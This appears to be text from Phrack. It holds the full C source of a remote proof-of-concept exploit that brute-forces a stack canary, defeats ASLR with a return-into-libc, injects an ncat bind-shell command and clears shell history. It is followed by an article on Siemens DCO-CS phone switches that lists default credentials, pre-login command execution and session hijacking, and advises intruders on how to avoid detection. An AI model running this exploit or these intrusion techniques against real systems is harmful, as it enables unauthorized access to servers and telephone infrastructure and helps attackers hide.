while ( (pid = waitpid(‑1, &stat, WNOHANG)) > 0) printf("child %d terminated\n",pid);

return;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ CUT ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 8.2 ‑ The exploit (moj.c)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ CUT ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

* This is Proof of Concept exploit which bypass everything (SSP * [pro‑police], ASLR, AAAS, ESP) and use modified ret‑into‑libc technique * to execute shell.

*

* Article about modified ret‑into‑libc technique you can find on my web ‑ * it was published some years ago on bugtraq and now it is very useful :) *

* Ps. Address of ret‑to‑call_system@plt that you should change is * P_REL_CALLSYSTEM

* The same you be done with directive P_REL_CALLVULN and P_REL_GOT. * P_REL_CALLWRITE (info leak) is unused in this version of PoC. * P_CMD holds the command which will be executed ‑ you can change if * you want ;)

*

* Best regards,

* Adam Zabrocki

* ‑‑

* pi3 (pi3ki31ny) ‑ pi3 (at) itsec pl

* http://pi3.com.pl

*

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <unistd.h>

#include <getopt.h>

#include <errno.h>

#define PORT 666

#define BUFS 250

#define START 90

#define P_REL_CALLVULN 0xe0a

#define P_REL_CALLWRITE 0xd6c

#define P_REL_CALLSYSTEM 0xb9b

#define P_REL_MASK 0x0FFF

#define P_REL_GOT 0x25a4 // 0x2644

#define SA struct sockaddr

/* Thic CMD variable is only for PoC. You should choose it individually */

//#define P_CMD "|| nc ‑l ‑p 4444 ‑e /bin/sh;"

#define P_CMD "|| ncat ‑l ‑p 4444 ‑e /bin/sh;"

int shell(int);

int usage(char *arg)

{

printf("\n\t...::: ‑=[ Bypassing pro‑police for PoC server by Adam " "'pi3 (pi3ki31ny)' Zabrocki ]=‑ :::...\n"); printf("\n\tUsage:\n\t[+] %s [options]\n",arg); printf(" ‑? <this help screen>\n");

printf(" ‑b <local_buff_brute_force_start_address>\n"); printf(" ‑p port\n");

printf(" ‑v <victim>\n\n");

exit(‑1);

}

int main(int argc, char *argv[])

{

unsigned int brute = 0;

int ret, *buf_addr, global_cnt = 0;

char *buf,read_buf[4096],cannary[0x4] = { 0x0, 0x0, 0x0, 0x0 }; struct sockaddr_in servaddr;

struct hostent *h;

int elo, port=PORT, opt, sockfd, test=0, offset=0, test2 = 0; int helper = 0, position_found = 0;

int write_addr = 0, system_addr = 0;

struct timeval tv;

while((opt = getopt(argc,argv,"p:b:v:?")) != ‑1) { switch(opt) {

case 'b':

sscanf(optarg,"%x",&brute); break;

case 'p':

port=atoi(optarg);

break;

case 'v':

test=1;

if ( (h=gethostbyname(optarg)) == NULL) { printf("gethostbyname() failed!\n"); exit(‑1);

}

break;

case '?':

default:

usage(argv[0]);

}

}

if (test==0)

usage(argv[0]);

servaddr.sin_family = AF_INET;

servaddr.sin_port = htons(port); servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_addr = *(struct in_addr*)*h‑>h_addr_list;

if (!(buf=(char*)malloc(BUFS))) {

exit(‑1);

}

setbuf(stdout,NULL);

printf("\n\t...::: ‑=[ Bypassing pro‑police PoC for server by Adam " "'pi3 (pi3ki31ny)' Zabrocki ]=‑ :::...\n"); printf("\n\t[+] Trying to find the position of the canary...\n");

for (position_found=0;!position_found;global_cnt++) {

memset(buf,0x0,BUFS);

strcpy(buf,"vuln ");

memset(&buf[5], 0x41, START+global_cnt);

if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { printf("Socket() error!\n");

exit(‑1);

}

if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) { printf("Connect() error!\n");

exit(‑1);

}

/*

// You can optimize waiting via timeout

tv.tv_sec=0,tv.tv_usec=40000;

if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) != 0) {

printf("setsockopt() error!\n"); exit(‑1);

}

*/

bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,sizeof(read_buf));

write(sockfd,buf,strlen(buf));

bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,32); bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,30);

write(sockfd,"quit",4);

bzero(read_buf,sizeof(read_buf));

ret = read(sockfd,read_buf,sizeof(read_buf));

if(ret <= 0) {

printf("\t[+] Found the canary! => offset = %d (+%d)\n", START+global_cnt,global_cnt); position_found = 1;

}

close(sockfd);

}

printf("\t[+] Trying to find the canary...\n");

global_cnt‑‑;

for (elo=0;elo<4;elo++) {

for (opt=0; opt<256; opt++) {

memset(buf,0x0,BUFS);

strcpy(buf,"vuln ");

memset(&buf[5], 0x41, START+global_cnt); memcpy(&buf[5+START+global_cnt‑1], cannary, elo); buf[5+START+global_cnt‑1+elo]=opt;

if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { printf("socket() error!\n"); exit(‑1);

}

if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) < 0) { printf("connect() error!\n"); exit(‑1);

}

/*

// You can optimize waiting via timeout

tv.tv_sec=0,tv.tv_usec=40000;

if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) != 0) {

printf("setsockopt() error!\n"); exit(‑1);

}

*/

bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,sizeof(read_buf)); do {

unsigned int an_egg = START+global_cnt+5+elo; write(sockfd,buf,an_egg);

} while(0);

bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,32); bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,30);

write(sockfd,"quit",4);

bzero(read_buf,sizeof(read_buf));

ret = read(sockfd,read_buf,sizeof(read_buf));

if (ret > 0) {

printf("\t[+] Found byte! => 0x%02x\n",opt); cannary[elo] = opt; close(sockfd);

break;

}

/* If we miss somehow the byte... */

if (opt == 255)

opt = 0x0;

close(sockfd);

}

}

printf("\t[+] Overwriting frame pointer (EBP?)...\n"); printf("\t[+] Overwriting instruction pointer (EIP?)...\n"); printf("\t[+] Starting bruteforce...\n");

for (offset=0,test2=0x0,opt=0;test&&!offset;test2++,opt++) { memset(buf,0,BUFS);

strcpy(buf,"vuln ");

memset(&buf[5], 0x41, START+global_cnt); memcpy(&buf[5+START+global_cnt‑1], cannary, elo);

buf_addr=(int*)&buf[5+START+global_cnt‑1+elo]; helper = (P_REL_CALLVULN & P_REL_MASK) | (test2 << 12);

*(buf_addr++) = 0xdeadbabe;

*(buf_addr++) = (P_REL_GOT + (test2 << 12)); // used by the GOT.

*(buf_addr++) = helper;

if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { printf("socket() error!\n");

exit(‑1);

}

if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) { printf("connect() error!\n");

exit(‑1);

}

/*

// You can optimize waiting via timeout

tv.tv_sec=0,tv.tv_usec=40000;

if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) != 0) {

printf("setsockopt() error!\n"); exit(‑1);

}

*/

bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,sizeof(read_buf));

write(sockfd,buf,5+START+global_cnt‑1+elo+(4‑1)*4);

bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,32);

bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,30);

write(sockfd,"quit",4);

bzero(read_buf,sizeof(read_buf));

ret = read(sockfd,read_buf,sizeof(read_buf));

if(ret > 0) {

/* At that point we successfully called vuln_func()

which means that we "probably" returned in [I1]

e67: 8b 44 24 1c mov 0x1c(%esp),%eax e6b: 89 44 24 08 mov %eax,0x8(%esp) e6f: 8b 44 24 24 mov 0x24(%esp),%eax e73: 89 44 24 04 mov %eax,0x4(%esp) e77: 8d 44 24 34 lea 0x34(%esp),%eax e7b: 89 04 24 mov %eax,(%esp) e7e: e8 3e 00 00 00 call ec1 <vuln_func> [I1] */

write_addr = (P_REL_CALLWRITE & P_REL_MASK) | (test2 << 12); system_addr = (P_REL_CALLSYSTEM & P_REL_MASK) | (test2 << 12); printf("\t[+] Success! :) (0x%.8x)\n",helper); printf("\t\t‑> @call_write = 0x%.8x\n",write_addr); printf("\t\t‑> @call_system = 0x%.8x\n",system_addr); offset=1;

}

close(sockfd);

}

if (!offset) {

printf("\t[‑] Exploit Failed! :(\n\n"); exit(‑1);

}

printf("\t[+] Trying ret‑into‑system...\n");

memset(buf,0x0,BUFS);

strcpy(buf,"vuln ");

memset(&buf[5], 0x41, START+global_cnt);

memcpy(&buf[5], P_CMD, strlen(P_CMD));

memcpy(&buf[5+START+global_cnt‑1], cannary, elo);

buf_addr=(int*)&buf[5+START+global_cnt‑1+elo];

test2‑‑;

*(buf_addr++) = 0xdeadbabe;

*(buf_addr++) = (P_REL_GOT + (test2 << 12)); // used by the GOT.

*(buf_addr++) = 0x41414141;

*(buf_addr++) = system_addr;

if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { printf("Socket() error!\n");

exit(‑1);

}

if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr))) < 0) { printf("Connect() error!\n");

exit(‑1);

}

/*

// You can optimize waiting via timeout

tv.tv_sec=0,tv.tv_usec=40000;

if ( (setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv))) != 0) { printf("setsockopt() error!\n");

exit(‑1);

}

*/

bzero(read_buf,sizeof(read_buf)); read(sockfd,read_buf,sizeof(read_buf));

write(sockfd,buf,4+START+global_cnt+4+4*4);

bzero(read_buf,sizeof(read_buf));

ret = read(sockfd,read_buf,32);

bzero(read_buf,sizeof(read_buf));

ret = read(sockfd,read_buf,30);

if(ret == 30) {

printf("\t[+] Connecting to bindshell...\n\n");

sleep(2);

if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { printf("Socket() error!\n");

exit(‑1);

}

servaddr.sin_port = htons(4444);

if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) <0 ) { printf("Connect() error!\n");

exit(‑1);

}

shell(sockfd);

}

return 0;

}

int shell(int fd)

{

int rd ;

fd_set rfds;

static char buff[1024];

char INIT_CMD[] = "echo \"pi3 was here :‑)\"; "

"echo \"Executing shell...\"; "

"unset HISTFILE; echo; id; uname ‑a\n";

write(fd, INIT_CMD, strlen( INIT_CMD ));

while (1) {

FD_ZERO(&rfds);

FD_SET(0, &rfds);

FD_SET(fd, &rfds);

if (select(fd+1, &rfds, NULL, NULL, NULL) < 1) { perror("[‑] Select");

exit( EXIT_FAILURE );

}

if (FD_ISSET(0, &rfds)) {

if ( (rd = read(0, buff, sizeof(buff))) < 1) { perror("[‑] Read"); exit(EXIT_FAILURE);

}

if (write(fd,buff,rd) != rd) { perror("[‑] Write");

exit( EXIT_FAILURE );

}

}

if (FD_ISSET(fd, &rfds)) {

if ( (rd = read(fd, buff, sizeof(buff))) < 1) { exit(EXIT_SUCCESS);

}

write(1, buff, rd);

}

}

}

Notes Concerning The Security, Design and Administration of Siemens DCO-CS

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x0e of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑=[ Notes Concerning the Security, Design and Administration ]=‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑=[ of Siemens DCO‑CS Digital Switching Systems ]=‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By The Philosopher ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ philosopher2600@gmail.com ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Relevance/Context‑

The Siemens DCO‑CS (Digital Central Office Carrier Switch), the premier Class 5 digital local office switching system to be introduced onto the American PSTN, (by Stromberg‑Carlson‑Siemens had not yet purchased the product line) was originally installed in 1977 in Richmond Hill, Virginia. Designed as a robust switch rich in features primarily to be used for smaller LECs, the DCO was produced for over a decade until Siemens, which acquired the product line in 1990, halted production to focus upon marketing the EWSD. Nonetheless the DCO‑CS remains in relatively widespread use throughout the PSTN, often in the possession of smaller CLECs (usually servicing rural areas). For those who wish to explore PSTN switches as well as those with the objective of securing them, the DCO‑CS is worthy of examination as security of any substance is largely nonexistent.

In light of the above historical information, evidently attributable becomes the extremely poor security of the DCO‑CS to the context of the time period in which it was initially designed, within nearly a decade prior to the wide proliferation of the hacker culture potentially interested in unauthorized entry into telco switches; in addition, the mentioned relative inclusiveness of features especially as were developed and added to the existing MMI over a lengthy period of time serves to establish the potential to defeat the security precautions built into the switch with its own valid MMI commands. One example: although this is not directly related to security, many commands in the debug utilities (GBUG, FPBUG, DEBUG, etc.) in certain versions of the DCO‑CS operating system are redundant in that they are identical yet named differently, so that when "HELP COMMAND" is entered at the prompt, identical help data will be displayed for both command names, one of which is usually abbreviated. Demonstrative this example is of the layered and almost modular evolution of the DCO MMI. Software updates/upgrades are seemingly uploaded in a modular fashion without regard for the previous state of the software in question. The modularity of the interface is further reflected in the incompatibility of particular utilities with the standard menu characteristics. It may be observed, for example, that certain utilities do not contain a "HELP" option as is typical, and that certain utilities use a linear parameter input system rather than a menu‑driven system. It was likely anticipated upon the design of such programs/commands that the user would be experienced in and knowledgeable of their usage, rendering an extensive help file unnecessary.

A Distinction of DCO Terminology‑

The words "program", "utility", and "command" will be used somewhat interchangeably throughout this document, in reference to the commands prefixed with a "$" at the main MMGR prompt (DCO>) that serve to invoke interactive menu/parameter systems with specific functions. Also, "DCO" actually refers to older software revisions prior to the Siemens acquisition of the line, which was henceforth known as "DCO‑CS", but here it will simply be used as an abbreviation of sorts for the latter, since the material in this article applies to most software revisions unless stated otherwise. Also, DCO can refer to the entire DCO family of switches, including DCO‑E, DCO‑SE, and DCO‑RLS.

Objectives‑

In formulating the structure of this paper I encountered minor difficulty in the establishment of a consistent method of organization and concept presentation. Initially I intended it to concern solely vulnerabilities inherent in the design of the DCO‑CS and commensurate methods of exploiting them in order to maximize the concealment of one's presence in such a system. Quickly I realized, however, that a great deal of explanation of switch operation was necessary to provide a context in which to discuss techniques of intrusion and anti‑detection, and that documentation/articles currently available to the underground are inadequate and quite lacking in this regard; however, they are recommended reference material, for at minimum they contain the text of the help files of the DCO and a small amount of basic access suggestions. Consequently this writing exhibits both modularity and general information, encompassing sections concerning specific points of interest in conjunction with occasionally redundant material regarding the switch itself. This facilitates rapid look‑up and browsing through specific techniques, while providing beginning readers with a satisfactory base of navigational knowledge. It will be assumed, though, that the reader has access to the help file text, available in "Guide to navigating and using DCO", written by DemonBytez of CyBrids CSE, and Mr. Nobody's "The DCO‑CS Operating System", both available in various locations on the Internet. One should also possess at least the background knowledge covered in both of these articles in order to enhance one's comprehension of much of the following material. In addition to technical information surrounding the DCO‑CS with an obvious emphasis upon security, the following also contains the observations of the author as to the administration of such switches and specifically common practices related thereto. As the title suggests, these writings, while they present a coherent article that one may fruitfully follow from introduction to conclusion, exhibit the general form of notes. Specific techniques are presented in a sort of "Problem/Solution" format. Also, for evident reasons of which I am confident the reader is aware, the location data, dates, and times have been altered or omitted from the captures included herein. Specific node/site identification information is replaced with "DCO_CITYDATA" in the following captures, and all dates and times are either fictitious examples or zeroes simply designed to demonstrate the general format of the messages. Also, another important note of which to be mindful is that, while to the extent of the author's knowledge all of the material contained within this article is correct, the observations made will not necessarily apply to every DCO switch installation everywhere. They are generalizations derived from a small sample size and should be considered as such.

Speculative and Factual Observations as to the Nature of DCO Access

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

and General Administration

DCO‑CS Topology‑

Note: "TTY" herein is used in accordance with its definition, "A generic term for any computer terminal or associated serial interface" and "terminal" is used in accordance with the definition, "a device communicating over a line". (Source: Wikipedia @ http://www.wikipedia.org)

No references to teletypes or TDDs (Telecommunication Devices for the Deaf) are intended.

Like the Lucent 5ESS, the Siemens DCO‑CS is administered through different TTYs (although, unlike the 5ESS, access to the DCO is not divided into as many specialized "channels"), with different attributes and functions. The four types of terminals on the switch, as listed in the help file of the SETTYP option of the SECTTY utility, are UNEQ (unequipped), CRT (video display‑the I/O terminals from which the switch is directly administered), TTP (paper printer), and MODEM. The identifying format of these terminals is TTXX, where XX represents two digits. TT00 is the default system master console, the terminal from which the MMI as well as various automatic utilities are consistently run and at which all information, error and alarm messages terminate (unless they are directed elsewhere‑see later in the document for further information). Dialups connect to other CRT terminals for remote access.

MMI Idiosyncrasies‑

A few notes on the use of the MMI: first, a semicolon ";" serves the same function as a <CR> (carriage return). Backspaces are displayed as "u". Within a few utilities, "EXIT" will take effect immediately after being typed (without a <CR> or ;). If one is idle for a while at a prompt or menu, "^U" will appear and the prompt will be re‑displayed.

Account/User Hierarchy and Structure‑

While the hierarchical filesystem arrangement of the DCO‑CS bears a striking fundamental resemblance to that of UNIX, organized a similar hierarchy of directories and subdirectories with predefined permissions, the user administration system exhibits numerous significant differences in its structure. For example, there exists no "root" superuser with unbridled access to everything, and no user account may interfere directly in the affairs of another ("directly" here defined as "from the (same) shell/session") as might be accomplished through successful execution of the UNIX "su" command. User accounts are instead divided and categorized into certain groups with certain "purposes" on the switch in anticipation of differing necessities. The default groups are ADMIN, TMRS, STATUS, MAINT, SECURE, NAC, ESPF, and SCAT respectively; by default their access is assigned according to the necessary tasks of each type. The access rights of accounts are not quantitatively equivalent, either‑certain, more generally used accounts are able to access far more by default than more specialized accounts, the access of which is restricted to only those utilities relevant to their intended functions. All of the usernames and passwords to the various accounts within these groups are contained in the file printed and modified using the utility $PASSWM. These may or may not be set to the default, but it is rather likely that they will be, and even if this is not the case the passwords are unlikely to be very complex due to the limitations imposed by the MMI (passwords on a DCO may be at maximum eight characters in length, and only alphanumeric) and simple human apathy; in many instances it would seem as if extremely simplistic and easily‑guessable/crackable passwords are used on switches due to a disbelief in the plausibility of unauthorized access. Regardless, the default passwords for all pre‑programmed usernames are simply the usernames themselves‑for instance, the SCAT/SCAT username/password combination. A concise table of DCO default accounts is as follows:

DCO Defaults

____________

Username Password Group

======== ======== =====

ADMIN ADMIN ADMIN

SECURE SECURE SECURE

TMRS TMRS TMRS

SCAT SCAT SCAT

MAINT MAINT MAINT

STATUS STATUS STATUS

NAC NAC NAC

ESPF ESPF ESPF

It is significant to the attainment and preservation of one's access on a DCO‑CS switch to understand the previously mentioned expected "uses" of each group of accounts, as one ought to align explorations of the switch with the anticipated functions for reasons of stealth‑an unauthorized user is far less likely to be detected when using certain accounts for certain functions that they are intended to be "legitimately" used for. The execution of certain utilities while logged in under certain accounts might be viewed as either suspicious or routine by a watchful administrator, depending upon the account and context in which the activity occurs. Although a few techniques exist that serve to provide such a user with a greater degree of "freedom" in this regard by concealing from those monitoring the switch evidence of non‑routine activity as is covered elsewhere in this article, it is still useful and certainly prudent to coincide one's activity with appropriate accounts in a limited number of instances. Plus, it is important to consider that the efficient and stealthy employment of the techniques that follow may not always be practical or possible, so this general method of remaining proverbially "under the radar" is fundamentally beneficial. An explanation of the various groups/default accounts follows:

ADMIN ‑ This is an administrative group/account, used primarily for the purposes of administering the various tables and databases on the switch, especially those that pertain to network/routing functions. What the authors of the previously mentioned DCO articles obviously failed to realize, in their insinuations to the effect that ADMIN is an all‑powerful account with extremely extensive access rights, is that ADMIN is merely another account with access rights defined according to the necessary tasks of its group. It lacks access to a great deal by default, actually, especially files and utilities concerning switch security. The access rights of ADMIN often overlap with those of MAINT; therefore, it is necessary to understand the differentiations between them, revealed through a closer examination of the areas in which the two accounts/groups do not overlap. MAINT, as explained in greater detail later, is an account intended to be used for the performance of routine maintenance functions‑the administration of such tables is not routine maintenance, as is reflected in the access rights of the MAINT group/account. The default access of the admin account may also be conceptualized as the bridge of sorts between "intra‑switch" and "extra‑switch" functions‑that is, functions (and corresponding utilities/files) that are related only to the switch itself (intra‑switch), and those with a broader sphere of influence on the network (extra‑switch). See the "Utility Diagram" for more information on and examples of this concept. Examples of strictly intra‑switch functions include disk operations, processor operations, debugging, etc.‑similarly, examples of extra‑switch functions include call tracing, routing, trunk operations, WATS number functions, etc. ADMIN by default also has access to intra‑switch administrative utilities such as ABNUTL (PERFORM AUTOMATIC BALANCE NETWORK FUNCTIONS), AUDIT (VERIFY S/W RECORD OF H/W STATES MATCH ACTUAL H/W), COPY (COPY DATABASES FROM MEMORY TO DISK), etc. where it overlaps with MAINT.

SECURE ‑ The access of SECURE largely overlaps with all other account groups on the utilities to which all or nearly all other account groups have default access ($ABORT, $AMPUTL, $CONFIG, $DUMPER, $HEY, etc.). Its specialization is revealed, though, in the utilities accessible only by it and SCAT, or it, SCAT, and MAINT. These include various alarm utilities, $PASSWM, $BLDINH, and $SECTTY‑all utilities regarding switch security, as the name of the group implies. In a limited number of cases SECURE may be less conspicuous than SCAT if only these sorts of utilities must be accessed.

TMRS ‑ This group/account is primarily intended for uses related to the Traffic Measurement and Recording System (TMRS), a system that gauges network traffic through the switch and generates reports with pertinent information. On a side note, TMRS may often be an active task on the master console. It is able to access many intra‑switch functions necessary to the expedient operation of TMRS, as might be assumed‑debug utilities, configuration control, etc. Its access rights frequently overlap with those of ADMIN and STATUS.

SCAT ‑ The closest group/account present on the DCO‑CS to a "superuser". SCAT is an acronym for "Stromberg‑Carlson Assistance Team", the DCO‑CS equivalent of ETAS on a DMS‑100. The function of SCAT, while the DCO‑CS product line was supported by Stromberg‑Carlson/Siemens, was to provide technical support for the install base in the instance of technical problems/failures, especially during emergencies (critical equipment failure, software issues, etc.). As a result, SCAT is authorized by default to access nearly everything on the switch within the filesystem, usually with the highest access rights possible (typically RWX), as, in the event of an emergency, such omnipotent access would be vitally necessary. The RWX permission is a significant distinction of the SCAT group as most other account groups only have read/execute permission on most files. However, there are a few files on the switch that SCAT is not permitted to access (by default, naturally)‑for instance, the utility $AMCDMP (that which administers AMA message thresholds). By default, SCAT is often the only account/group authorized to log in through the dial‑up ports, as only SCAT would usually require remote access to the switch. Logging in as SCAT is extremely conspicuous, though, particularly at odd hours, as the account/group is NOT supposed to be used for routine/ordinary tasks. It would be advisable from an unauthorized user's standpoint to perhaps log in as SCAT once in order to authorize other account groups to log in through the dialup(s), until the attentiveness of those overseeing the switch's operation is gauged.

MAINT ‑ MAINT is the general maintenance group/account on the DCO‑CS; as stated previously, it is used primarily for the performance/execution of routine (and non‑routine) tasks related to switch maintenance. As such, it is authorized to access a great deal, often exclusively, where SCAT is the only other account group with access rights on certain files. MAINT is the only default account group/account, in fact, that is "exclusively" authorized to access certain utilities in this manner. AMA is an example of a such a utility to which only MAINT and SCAT have access rights in the default/typical configuration. As might be expected, MAINT is mainly able to access intra‑switch functions. One preferred, recommended account for preliminary exploration is MAINT, for it, as a maintenance account, is by default enabled to access quite a few significant files and programs, and suspicions may be less aroused should it be seen logging in at odd hours and/or constantly.

STATUS ‑ The STATUS group/account is, as its name implies, used for checking and occasionally modifying the status of the system. Its access overlaps frequently with ADMIN, MAINT, TMRS and, of course, SCAT; the default access of STATUS is confined to "intra‑switch" utilities and the occasional utility not easily classified as either "intra‑" or "extra‑" switch. Most of the utilities to which STATUS is assigned default access are used for such functions as alarm management, various types of verification, disk functions, conversion of equipment numbers, etc.

NAC ‑ NAC is an acronym for "Network Access Control"‑the administration charged with overseeing the various pieces of equipment connected to the network and general network interactions. Expectedly, its default access mainly lies with "extra‑switch" network utilities and the those used to modify the aforementioned tables, also accessible with ADMIN. The NAC terminal and thus group may not be equipped on a particular switch (see "$SECTTY"), so it may not be possible to log in under the NAC default account.

ESPF ‑ ESP denotes, "Essential Service Protection". Along with ADMIN, NAC and SCAT, ESPF is typically able to access "extra‑switch" utilities such as those related to routing, the hotline database, INWATS, class of service, etc., all "essential services". As with NAC, the "ESPF option" may not be equipped on a particular switch, and thus the account/group associated with it may be unused. The $STATUS utility may be used to determine if it is equipped:

STA> AREA TO DISPLAY (AREA=HELP) > ESPF

DCO_CITYDATA

09‑00‑00 00:00:00 MONDAY ESPF STATUS REPORT:

STATUS: ESPF OPTION NOT EQUIPPED

STATUS COMPLETE

Attainment of Access

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Upon connecting to a TTY via a dialup or another method, the LOGIN utility is invoked automatically, which will prompt the user for the username and password necessary to log in. By default ten attempts at login (entries of a username and password pair) are permitted before the following message is displayed, indicating an excess of unsuccessful attempts:

DCO_CITYDATA 09‑00‑00 00:00:00 LOGIN TT01

MP .0676:TTY=TT1 EXCESSIVE LOGIN ATTEMPTS

Subsequently the user will be "locked out" of the terminal for a period of approximately five minutes in which the system remains unresponsive to input. The amount of login attempts made is not "reset" if one disconnects from the dialup/terminal and reconnects; instead, the tracking of login attempts is based upon time‑one must wait a few minutes prior to attempting ten more login attempts.

Unauthorized Execution‑

Prior to logging on to the switching station, the user is required within approximately 15 seconds following successful connection to send a hard break or a <CR> in order to display the prompt. Within this 15 second period a vulnerability exists whereby a valid MMI (man‑machine interface) command typed and sent will be dutifully executed by the DCO, allowing temporary control of the MMI command flow to anyone calling the dialup! Potential for great compromise of the system exists if the attacker runs a command such as $PASSWM, which prints a complete list of user accounts and passwords on the switch in clear‑text! Note: on the latest software release, that released in 2003, the maintenance processor (MP) must be experiencing a malfunction or otherwise be bogged down with an influx of tasks for this technique to work properly. Of all of the vulnerabilities presented here the execution of this is the most variable‑it has been known to occur, though, in instances of an MP malfunction, specifically on the DCO‑SE (see "An Additional Note:" for more information).

Absence of Automatic Logout‑

Like several older versions of UNIX, the DCO‑CS does not automatically log out of a session in the instance of user disconnection from the dialup/terminal. Anyone calling the switch will be thus enabled to "drop in" on the other user's session in all aspects, in addition to being able to execute commands if a user left the session open while hanging up the connection/modem. This is task‑specific‑that is, if a task is not aborted and the user who executed it hangs up, the sub‑prompt for that task will be displayed to anyone calling the switch thereafter as that task will be active. This state may include tasks only supposed to be executable by user accounts with higher levels of access. The sole measure necessary to ensure success in gaining control of a session and hence potentially the entire switch (as access may be modified‑ privileges escalated, depending upon the account temporarily "hijacked" in this fashion, etc.) is to consider the time zone in which the object switch is located, in order to determine prime hours of operation and of account access and usage. In the instance that the would‑be intruder is physically unable to monitor the dialup/port for dropped sessions and exploit them, a simple script written in a language compatible with the terminal client of choice is all that is required. Thus, this single characteristic of the switch‑among others, it is certain, seen previously and henceforth in this admittedly alinear document‑ensures that one who accrues the knowledge of a dialup is very nearly guaranteed successful infiltration/ penetration of it, even in the face of other, also ineffective barriers erected presumably for purposes of security. However, one may experience a limited degree of difficulty with this method of intrusion in the instance that one has logged in via the dialup port and properly logged out, in which case another one of the aforementioned loopholes may be traversed in order to gain eventual unfettered access. Also, an option does exist within the $SECTTY utility (discussed forthwith) to activate an idle logout on a particular TTY, but even this will not log a user out until an extended period of complete inactivity has passed‑it is still possible to connect to a terminal and resume a session with this option activated, if one connects within this said window of time. It is a trivial matter indeed to automatically and repeatedly call a dialup in order to connect just after a user's activity has ceased (indicating a departure from the terminal) and prior to the auto‑logout due to inactivity. Regardless, this is not a default setting, and it is perhaps quite rare that one will encounter it.

Passive Observation‑

A rather simple means through which to learn various information pertaining to a DCO, that which may prove ultimately useful in the attainment of access thereto, is merely that of passive observation of the information messages that are displayed even prior to a login‑i.e., monitoring the dialup. This tendency to display status and other messages to anyone who calls a dialup is quite unique to the DCO, although other switches such as the EWSD exhibit this characteristic as well. Only messages ordinarily broadcast to all ports (or the dial‑in TTYs, at least) are displayed prior to login, with the most common utility to which these messages pertain the $SNCUTL (Synchronous Network Clock Utility). One explanation for this idiosycrasy lies in the fact that, when one calls a DCO dialup, one is automatically connected to the corresponding TTY‑the login prompt/program is simply another utility executed like any other (notably, the prompt itself reveals this‑the "LOG>" portion is of the similar format to all other utility menu prompts‑the first three letters of the utility + ">") except that it is executed automatically upon connection if LOGOFF has been during the last session from that TTY, as opposed to a front‑end program that must be satisfied with proper credentials in order to connect to the switch at all. In other words, LOGIN technically serves to restrict access to the remainder of the utilities and files on the switch through the MMI rather than access to the MMI itself.

Concealment of Presence

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Although the DCO, as has been previously demonstrated, does not exhibit PREVENTIVE security measures implemented with any degree of rigor, there does exist a simple yet potentially effective means of detection of potentially suspicious activity of those with access to the switch: extensive logging. The majority of actions performed within the MMI are relentlessly logged and broadcast, in messages of the following format:

DCO_CITYDATA 09‑00‑00 00:00:00 LOGIN TT01

MP .0354:TTY=TT1,USERNAME=MAINT LOGGED IN

